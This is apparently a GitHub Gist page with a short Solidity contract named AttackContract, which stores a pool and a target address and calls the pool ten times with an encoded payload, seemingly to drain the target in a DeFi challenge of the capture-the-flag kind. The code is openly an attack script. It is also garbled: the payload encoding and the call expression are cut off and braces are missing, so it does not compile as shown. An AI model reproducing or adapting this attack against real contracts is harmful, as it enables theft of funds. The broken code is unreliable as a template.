Skip to content

Instantly share code, notes, and snippets.

What would you like to do?
pragma solidity ^0.6.0;
contract AttackContract {
address payable pool;
address payable target;
constructor(address payable poolAddress,address payable targetAddress) public {
pool = poolAddress;
target = targetAddress;
function attackTarget() public{
bytes memory payload = abi.encodeWithSignature(
for(uint i=1;i<=10;i++){
(bool success, ) =;
require (success, "Attack Teribbly Failed");
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment